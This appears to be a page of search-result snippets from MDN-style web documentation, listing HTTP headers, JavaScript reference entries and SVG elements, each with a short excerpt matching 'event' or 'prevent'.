if using server-sent events, make sure eventsource.withcredentials is false (it's the default value).
HTTP caching - HTTP
WebHTTPCaching
it can be anything that prevent collisions, like a hash or a date.
Connection management in HTTP/1.x - HTTP
most http/2 implementations use a technique called connection coalescing to revert eventual domain sharding.
Feature Policy - HTTP
the feature-policy header has now been renamed to permissions-policy in the spec, and this article will eventually be updated to reflect that change.
Content-Disposition - HTTP
when used in combination with content-disposition: attachment, it is used as the default filename for an eventual "save as" dialog presented to the user.
CSP: block-all-mixed-content - HTTP
the http content-security-policy (csp) block-all-mixed-content directive prevents loading any assets over http when the page uses https.
CSP: sandbox - HTTP
it applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy.
Content-Type - HTTP
browsers will do mime sniffing in some cases and will not necessarily follow the value of this header; to prevent this behavior, the header x-content-type-options can be set to nosniff.
Cross-Origin-Embedder-Policy - HTTP
the http cross-origin-embedder-policy (coep) response header prevents a document from loading any cross-origin resources that don't explicitly grant the document permission (using corp or cors).
Cross-Origin-Opener-Policy - HTTP
coop will process-isolate your document and potential attackers can't access to your global object if they were opening it in a popup, preventing a set of cross-origin attacks dubbed xs-leaks.
Expect-CT - HTTP
the expect-ct header lets sites opt in to reporting and/or enforcement of certificate transparency requirements, to prevent the use of misissued certificates for that site from going unnoticed.
Feature-Policy: fullscreen - HTTP
this directive allows or prevents cross-origin frames from using fullscreen mode.
Feature-Policy: geolocation - HTTP
this directive allows or prevents cross-origin frames from accessing geolocation.
Feature-Policy: xr-spatial-tracking - HTTP
this policy controls whether navigator.xr.requestsession() can return xrsession that requires spatial tracking and whether user agent can indicate support for sessions supporting spatial tracking via navigator.xr.issessionsupported() and devicechange event on navigator.xr object.
Feature-Policy - HTTP
the header has now been renamed to permissions-policy in the spec, and this article will eventually be updated to reflect that change.
If-Match - HTTP
WebHTTPHeadersIf-Match
for other methods, and in particular for put, if-match can be used to prevent the lost update problem.
If-None-Match - HTTP
for other methods, the request will be processed only if the eventually existing resource's etag doesn't match any of the values listed.
Large-Allocation - HTTP
some legacy addons can prevent firefox from using this new, faster, multiprocess architecture.
X-XSS-Protection - HTTP
rather than sanitizing the page, the browser will prevent rendering of the page if an attack is detected.
Network Error Logging - HTTP
reachable tcp.failed the tcp connection failed due to reasons not covered by previous errors http.error the user agent successfully received a response, but it had a 4xx or 5xx status code http.protocol.error the connection was aborted due to an http protocol error http.response.invalid response is empty, has a content-length mismatch, has improper encoding, and/or other conditions that prevent user agent from processing the response http.response.redirect_loop the request was aborted due to a detected redirect loop http.failed the connection failed due to errors in http protocol not covered by previous errors specifications specification network error logging ...
Protocol upgrade mechanism - HTTP
instead, it helps to prevent non-websocket clients from inadvertently, or through misuse, requesting a websocket connection.
Proxy Auto-Configuration (PAC) file - HTTP
open-sourcing netscape eventually lead to firefox itself.
Redirections in HTTP - HTTP
in this case, the response is a 303 (see other) redirect that links to a page indicating that the action has been scheduled, and eventually informs about its progress, or allows to cancel it.
HTTP resources and specifications - HTTP
proposed standard rfc 2324 hyper text coffee pot control protocol (htcpcp/1.0) april 1st joke spec rfc 7168 the hyper text coffee pot control protocol for tea efflux appliances (htcpcp-tea) april 1st joke spec html living standard html defines extensions of http for server-sent events living standard tracking preference expression dnt header editor's draft / candidate recommendation reporting api report-to header draft draft spec expect-ct extension for http ietf draft ...
202 Accepted - HTTP
WebHTTPStatus202
the request might or might not eventually be acted upon, as it might be disallowed when processing actually takes place.
HTTP response status codes - HTTP
WebHTTPStatus
this response is intended to prevent the 'lost update' problem, where a client gets a resource's state, modifies it, and puts it back to the server, when meanwhile a third party has modified the state on the server, leading to a conflict.
A re-introduction to JavaScript (JS tutorial) - JavaScript
however, using this method prevents some javascript engine and minifier optimizations being applied.
About JavaScript - JavaScript
javascript runs on the client side of the web, which can be used to design / program how the web pages behave on the occurrence of an event.
Expressions and operators - JavaScript
e this either with the dot or the bracket notation: this['propertyname'] this.propertyname suppose a function called validate validates an object's value property, given the object and the high and low values: function validate(obj, lowval, hival) { if ((obj.value < lowval) || (obj.value > hival)) console.log('invalid value!'); } you could call validate in each form element's onchange event handler, using this to pass it to the form element, as in the following example: <p>enter a number between 18 and 99:</p> <input type="text" name="age" size=3 onchange="validate(this, 18, 99);"> grouping operator the grouping operator ( ) controls the precedence of evaluation in expressions.
Functions - JavaScript
however, this is prevented by the second line in this example: function multiply(a, b) { b = typeof b !== 'undefined' ?
Meta programming - JavaScript
handler.preventextensions() object.preventextensions() reflect.preventextensions() object.preventextensions(proxy) only returns true if object.isextensible(proxy) is false.
JavaScript modules - JavaScript
over in main.js we've grabbed a reference to each button using a document.queryselector() call, for example: let squarebtn = document.queryselector('.square'); we then attach an event listener to each button so that when pressed, the relevant module is dynamically loaded and used to draw the shape: squarebtn.addeventlistener('click', () => { import('./modules/square.js').then((module) => { let square1 = new module.square(mycanvas.ctx, mycanvas.listid, 50, 50, 100, 'blue'); square1.draw(); square1.reportarea(); square1.reportperimeter(); }) }); note that, ...
Regular expressions - JavaScript
the change event activated when the user presses enter sets the value of regexp.input.
JavaScript technologies overview - JavaScript
among the things defined by the dom, we can find: the document structure, a tree model, and the dom event architecture in dom core: node, element, documentfragment, document, domimplementation, event, eventtarget, … a less rigorous definition of the dom event architecture, as well as specific events in dom events.
TypeError: can't assign to property "x" on "y": not an object - JavaScript
foo.bar = {}; // typeerror: can't assign to property "bar" on "my string": not an object fixing the issue either fix the code to prevent the primitive from being used in such places, or fix the issue is to create the object equivalent object.
Arrow function expressions - JavaScript
strict mode should prevent creating global variables when assigning to an undeclared identifier in a function.
Array.prototype[@@unscopables] - JavaScript
this is where now the built-in @@unscopables array.prototype[@@unscopables] symbol property comes into play and prevents that some of the array methods are being scoped into the with statement.
Date.prototype.getTime() - JavaScript
see also date.now() to prevent instantiating unnecessary date objects.
Date.prototype.toLocaleDateString() - JavaScript
20." // event for persian, it's hard to manually convert date to solar hijri console.log(date.tolocaledatestring('fa-ir')); // → "Û±Û³Û¹Û±/Û¹/Û³Û°" // arabic in most arabic speaking countries uses real arabic digits console.log(date.tolocaledatestring('ar-eg')); // → "٢٠‏/١٢‏/٢٠١٢" // for japanese, applications may want to use the japanese calendar, // where 2012 was the year 24 of the heisei...
Date - JavaScript
// using date objects let start = date.now() // the event to time goes here: dosomethingforalongtime() let end = date.now() let elapsed = end - start // elapsed time in milliseconds // using built-in methods let start = new date() // the event to time goes here: dosomethingforalongtime() let end = new date() let elapsed = end.gettime() - start.gettime() // elapsed time in milliseconds // to test a function and get back its return function printelap...
Error.prototype.lineNumber - JavaScript
examples using linenumber var e = new error('could not parse input'); throw e; console.log(e.linenumber) // 2 alternative example using error event window.addeventlistener('error', function(e) { console.log(e.linenumber); // 5 }); var e = new error('could not parse input'); throw e; this is not a standard feature and lacks widespread support.
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
relatedyear the string used for the related 4-digit gregorian year, in the event that the calendar's representation would be a yearname instead of a year, for example "2019".
Number.prototype.toExponential() - JavaScript
if you use the toexponential() method for a numeric literal and the numeric literal has no exponent and no decimal point, leave whitespace(s) before the dot that precedes the method call to prevent the dot from being interpreted as a decimal point.
Object.prototype.constructor - JavaScript
to prevent this, just define the role of constructor in each specific case.
Object.prototype.__proto__ - JavaScript
a property access for __proto__ that eventually consults object.prototype will find this property, but an access that does not consult object.prototype will not.
Promise() constructor - JavaScript
const myfirstpromise = new promise((resolve, reject) => { // do something asynchronous which eventually calls either: // // resolve(somevalue) // fulfilled // or // reject("failure reason") // rejected }); making functions return a promise to provide a function with promise functionality, have it return a promise: function myasyncfunction(url) { return new promise((resolve, reject) => { const xhr = new xmlhttprequest() xhr.open("get", url) xhr.onload = () ...
Promise.any() - JavaScript
const perr = new promise((resolve, reject) => { reject("always fails"); }); const pslow = new promise((resolve, reject) => { settimeout(resolve, 500, "done eventually"); }); const pfast = new promise((resolve, reject) => { settimeout(resolve, 100, "done quick"); }); promise.any([perr, pslow, pfast]).then((value) => { console.log(value); // pfast fulfils first }) // expected output: "done quick" rejections with aggregateerror promise.any() rejects with an aggregateerror if no promise fulfils.
Promise.resolve() - JavaScript
has a "then" method), the returned promise will "follow" that thenable, adopting its eventual state; otherwise the returned promise will be fulfilled with the value.
handler.getOwnPropertyDescriptor() - JavaScript
const obj = { a: 10 }; object.preventextensions(obj); const p = new proxy(obj, { getownpropertydescriptor: function(target, prop) { return undefined; } }); object.getownpropertydescriptor(p, 'a'); // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[getownproperty]]' in that specification.
handler.getPrototypeOf() - JavaScript
p.__proto__ === array.prototype, // true array.prototype.isprototypeof(p), // true p instanceof array // true ); two kinds of exceptions const obj = {}; const p = new proxy(obj, { getprototypeof(target) { return 'foo'; } }); object.getprototypeof(p); // typeerror: "foo" is not an object or null const obj = object.preventextensions({}); const p = new proxy(obj, { getprototypeof(target) { return {}; } }); object.getprototypeof(p); // typeerror: expected same prototype value specifications specification ecmascript (ecma-262)the definition of '[[getprototypeof]]' in that specification.
handler.has() - JavaScript
const obj = { a: 10 }; object.preventextensions(obj); const p = new proxy(obj, { has: function(target, prop) { return false; } }); 'a' in p; // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[hasproperty]]' in that specification.
Proxy() constructor - JavaScript
handler.preventextensions() a trap for object.preventextensions.
Reflect.isExtensible() - JavaScript
reflect.preventextensions(empty) reflect.isextensible(empty) // === false // sealed objects are by definition non-extensible.
Reflect - JavaScript
reflect.preventextensions(target) similar to object.preventextensions().
SharedArrayBuffer - JavaScript
however, the shared data block referenced by the two sharedarraybuffer objects is the same data block, and a side effect to the block in one agent will eventually become visible in the other agent.
String.prototype.charAt() - JavaScript
without preceding high surrogate' } // return the next character instead (and increment) return [str.charat(i + 1), i + 1] } fixing charat() to support non-basic-multilingual-plane (bmp) characters while the previous example may be more useful for programs that must support non-bmp characters (since it does not require the caller to know where any non-bmp character might appear), in the event that one does wish, in choosing a character by index, to treat the surrogate pairs within a string as the single characters they represent, one can use the following: function fixedcharat(str, idx) { let ret = '' str += '' let end = str.length let surrogatepairs = /[\ud800-\udbff][\udc00-\udfff]/g while ((surrogatepairs.exec(str)) != null) { let lastidx = surrogatepairs.lastindex ...
Symbol() constructor - JavaScript
it creates a new symbol each time: symbol('foo') === symbol('foo') // false new symbol(...) the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this prevents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new string and new number).
Symbol.asyncIterator - JavaScript
"iteration!"; } }; (async () => { for await (const x of myasynciterable) { console.log(x); // expected output: // "hello" // "async" // "iteration!" } })(); when creating an api, remember that async iterables are designed to represent something iterable — like a stream of data or a list —, not to completely replace callbacks and events in most situations.
Symbol.unscopables - JavaScript
a built-in unscopables setting is implemented as array.prototype[@@unscopables] to prevent that some of the array methods are being scoped into the with statement.
WebAssembly.Module.exports() - JavaScript
var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread.
WebAssembly.Module - JavaScript
var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread.
WebAssembly.instantiate() - JavaScript
var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread.
eval() - JavaScript
}, 1000); // instead of elt.setattribute("onclick", "...") use: elt.addeventlistener('click', function() { ...
globalThis - JavaScript
you can also use function('return this')(), but environments that disable eval(), like csp in browsers, prevent use of function in this way.
Inequality (!=) - JavaScript
like the equality operator, the inequality operator will attempt to convert and compare operands of different types: 3 != "3"; // false to prevent this, and require that different types are considered to be different, use the strict inequality operator instead: 3 !== "3"; // true examples comparison with no type conversion 1 != 2; // true "hello" != "hola"; // true 1 != 1; // false "hello" != "hello"; // false comparison with type conversion "1" != 1; // false 1 != "1"; // false 0 ...
Function expression - JavaScript
the function returns the square of its argument: var x = function(y) { return y * y; }; using a function as a callback more commonly it is used as a callback: button.addeventlistener('click', function(event) { console.log('button is clicked!') }) using an immediately executed function expression an anonymous function is created and called: (function() { console.log('code runs!') })(); specifications specification ecmascript (ecma-262)the definition of 'function definitions' in that specification.
void operator - JavaScript
for example: <a href="javascript:void(0);"> click here to do nothing </a> <a href="javascript:void(document.body.style.backgroundcolor='green');"> click here for green background </a> note: javascript: pseudo protocol is discouraged over other alternatives, such as unobtrusive event handlers.
import - JavaScript
const main = document.queryselector("main"); for (const link of document.queryselectorall("nav > a")) { link.addeventlistener("click", e => { e.preventdefault(); import('/modules/my-module.js') .then(module => { module.loadpageinto(main); }) .catch(err => { main.textcontent = err.message; }); }); } specifications specification ecmascript (ecma-262)the definition of 'imports' in that specification.
return - JavaScript
to avoid this problem (to prevent asi), you could use parentheses: return ( a + b ); examples interrupt a function a function immediately stops at the point where return is called.
shortcuts - Web app manifests
examples the following is a list of shortcuts a calendar app might have: "shortcuts" : [ { "name": "today's agenda", "url": "/today", "description": "list of events planned for today" }, { "name": "new event", "url": "/create/event" }, { "name": "new reminder", "url": "/create/reminder" } ] specification specification status comment feedback web app manifestthe definition of 'shortcuts' in that specification.
Authoring MathML - MathML
even if your browser supports mathml, your webmail may prevent you to send or receive mails with mathml inside.
Digital audio concepts - Web media technologies
eventually, the wavelength approaches then exceeds the distance between the ears, and it becomes difficult or impossible to unambiguously localize the sound.
Media container formats (file types) - Web media technologies
if you're going to be manipulating the media data, using an uncompressed format can improve performance, while using a lossless compressed format at least prevent the accumulation of noise as compression artifacts are multiplied with each re-compression that occurs.
Web video codec guide - Web media technologies
eventually the point of diminishing returns is reached.
Animation performance and frame rate - Web Performance
while performance is sensitive to the particular system and its load, performance tools can help you understand the work the browser's doing to render your site, and help you prevent and diagnose problems when they occur.
CSS and JavaScript animation performance - Web Performance
this can occur because css transitions/animations are simply resampling element styles in the main ui thread before each repaint event happens, which is almost the same as resampling element styles via a requestanimationframe() callback, also triggered before the next repaint.
Progressive loading - Progressive web apps (PWAs)
we should be able to show them at least the basic view of the page they want to see, with placeholders in the places more content will eventually be loaded.
Web API reference - Web technology reference
WebReferenceAPI
there's also a listing of all available events in the event reference.
contentScriptType - SVG: Scalable Vector Graphics
this attribute sets the default scripting language used to process the value strings in event attributes.
externalResourcesRequired - SVG: Scalable Vector Graphics
if an external resource is not available, progressive rendering is suspended, the document's svgload event is not fired and the animation timeline does not begin until that resource and all other required resources become available, have been parsed and are ready to be rendered.
href - SVG: Scalable Vector Graphics
WebSVGAttributehref
specifically, timeevents are dispatched and the animation element can be used as syncbase in an identical fashion to when the url refers to a valid target element.
preserveAspectRatio - SVG: Scalable Vector Graphics
<use href="#smiley" /> </svg> <!-- none --> <rect x="0" y="30" width="160" height="60"> <title>none</title> </rect> <svg viewbox="0 0 100 100" width="160" height="60" preserveaspectratio="none" x="0" y="30"> <use href="#smiley" /> </svg> </svg> path { fill: yellow; stroke: black; stroke-width: 8px; stroke-linecap: round; stroke-linejoin: round; pointer-events: none; } rect:hover, rect:active { outline: 1px solid red; } syntax preserveaspectratio="<align> [<meetorslice>]" its value is made of one or two keywords: a required alignment value and an optional "meet or slice" reference as described below: alignment value the alignment value indicates whether to force uniform scaling and, if so, the alignment method to use in case the aspect ra...
restart - SVG: Scalable Vector Graphics
WebSVGAttributerestart
"xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="always" /> </rect> <rect x="120" y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="whennotactive"/> </rect> <a id="restart"><text y="20">restart animation</text></a> </svg> document.getelementbyid("restart").addeventlistener("click", evt => { document.queryselectorall("animate").foreach(element => { element.beginelement(); }); }); usage notes value always | whennotactive | never default value always animatable no always this value indicates that the animation can be restarted at any time.
result - SVG: Scalable Vector Graphics
WebSVGAttributeresult
seventeen elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, and <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 220 220" xmlns="http://www.w...
<a> - SVG: Scalable Vector Graphics
WebSVGElementa
value type: <url> ; default value: none; animatable: yes global attributes core attributes most notably: id, lang, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-mite...
<altGlyph> - SVG: Scalable Vector Graphics
WebSVGElementaltGlyph
value type: <iri> ; default value: none; animatable: no global attributes core attributes most notably: id lang styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, dominant-baseline, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-li...
<animate> - SVG: Scalable Vector Graphics
WebSVGElementanimate
mate attributename="rx" values="0;5;0" dur="10s" repeatcount="indefinite" /> </rect> </svg> attributes animation attributes animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by other animation attributes most notably: attributename, additive, accumulate animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes this element implements the svganimateelement interface.
<animateColor> - SVG: Scalable Vector Graphics
usage context categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes conditional processing attributes core attributes animation event attributes xlink attributes animation attribute target attributes animation timing attributes animation value attributes animation addition attributes externalresourcesrequired specific attributes by from to dom interface this element implements the svganimatecolorelement interface.
<animateMotion> - SVG: Scalable Vector Graphics
value: 0; animatable: no note: for <animatemotion> the default value for the calcmode attribute is paced animation attributes animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by other animation attributes most notably: attributename, additive, accumulate animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes this element implements the svganimatemotionelement interface.
<animateTransform> - SVG: Scalable Vector Graphics
rm" attributetype="xml" type="rotate" from="0 60 70" to="360 60 70" dur="10s" repeatcount="indefinite"/> </polygon> </svg> live sample attributes global attributes conditional processing attributes » core attributes » animation event attributes » xlink attributes » animation attribute target attributes » animation timing attributes » animation value attributes » animation addition attributes » externalresourcesrequired specific attributes by from to type dom interface this element implements the svganimatetransformelement interface.
<circle> - SVG: Scalable Vector Graphics
WebSVGElementcircle
global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-widt...
<defs> - SVG: Scalable Vector Graphics
WebSVGElementdefs
id="mygradient" gradienttransform="rotate(90)"> <stop offset="20%" stop-color="gold" /> <stop offset="90%" stop-color="red" /> </lineargradient> </defs> <!-- using my graphical objects --> <use x="5" y="5" xlink:href="#mycircle" fill="url('#mygradient')" /> </svg> attributes global attributes core attributes most notably: id lang styling attributes class, style event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-mite...
<desc> - SVG: Scalable Vector Graphics
WebSVGElementdesc
</desc> </circle> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<desc>' in that specification.
<ellipse> - SVG: Scalable Vector Graphics
WebSVGElementellipse
global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-widt...
<foreignObject> - SVG: Scalable Vector Graphics
global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes, document event attributes, document element event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, s...
<g> - SVG: Scalable Vector Graphics
WebSVGElementg
ributes --> <g fill="white" stroke="green" stroke-width="5"> <circle cx="40" cy="40" r="25" /> <circle cx="60" cy="60" r="25" /> </g> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-widt...
<hatch> - SVG: Scalable Vector Graphics
WebSVGElementhatch
usage context categoriesnever-rendered element, paint server elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements<hatchpath>, <script>, <style> attributes global attributes core attributes global event attributes presentation attributes style attributes specific attributes x y pitch rotate hatchunits hatchcontentunits transform href dom interface this element implements the svghatchelement interface.
<hatchpath> - SVG: Scalable Vector Graphics
WebSVGElementhatchpath
usage context categoriesnonepermitted contentany number of the following elements, in any order:animation elementsdescriptive elements<script>, <style> attributes global attributes core attributes global event attributes presentation attributes style attributes specific attributes d offset dom interface this element implements the svghatchpathelement interface.
<image> - SVG: Scalable Vector Graphics
WebSVGElementimage
usage context categoriesgraphics element, graphics referencing elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes xlink attributes class style externalresourcesrequired transform specific attributes x: positions the image horizontally from the origin.
<line> - SVG: Scalable Vector Graphics
WebSVGElementline
value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-widt...
<linearGradient> - SVG: Scalable Vector Graphics
value type: <length> ; default value: 0%; animatable: yes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stro...
<marker> - SVG: Scalable Vector Graphics
WebSVGElementmarker
alue: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled...
<path> - SVG: Scalable Vector Graphics
WebSVGElementpath
value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-widt...
<pattern> - SVG: Scalable Vector Graphics
WebSVGElementpattern
t value: 0; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes most notably: xlink:title usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructura...
<polygon> - SVG: Scalable Vector Graphics
WebSVGElementpolygon
value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-widt...
<polyline> - SVG: Scalable Vector Graphics
WebSVGElementpolyline
value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-widt...
<radialGradient> - SVG: Scalable Vector Graphics
value type: <iri> ; default value: none; animatable: yes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stro...
<rect> - SVG: Scalable Vector Graphics
WebSVGElementrect
global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-widt...
<set> - SVG: Scalable Vector Graphics
WebSVGElementset
value type: <anything>; default value: none; animatable: no animation attributes animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill other animation attributes most notably: attributename animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements specifications specification statu...
<solidcolor> - SVG: Scalable Vector Graphics
usage context missing attributes global attributes core attributes global event attributes presentation attributes style attributes specific attributes none.
<stop> - SVG: Scalable Vector Graphics
WebSVGElementstop
value type: <opacity>; default value: 1; animatable: yes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes presentation attributes most notably: color, display, stop-color, stop-opacity, visibility usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:<animate>, <animatecolor>, <set> specifications specification status comment scalable vector gra...
<style> - SVG: Scalable Vector Graphics
WebSVGElementstyle
value type: <string>; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<style>' in that specification.
<svg> - SVG: Scalable Vector Graphics
WebSVGElementsvg
global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes, document event attributes, document element event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, s...
<switch> - SVG: Scalable Vector Graphics
WebSVGElementswitch
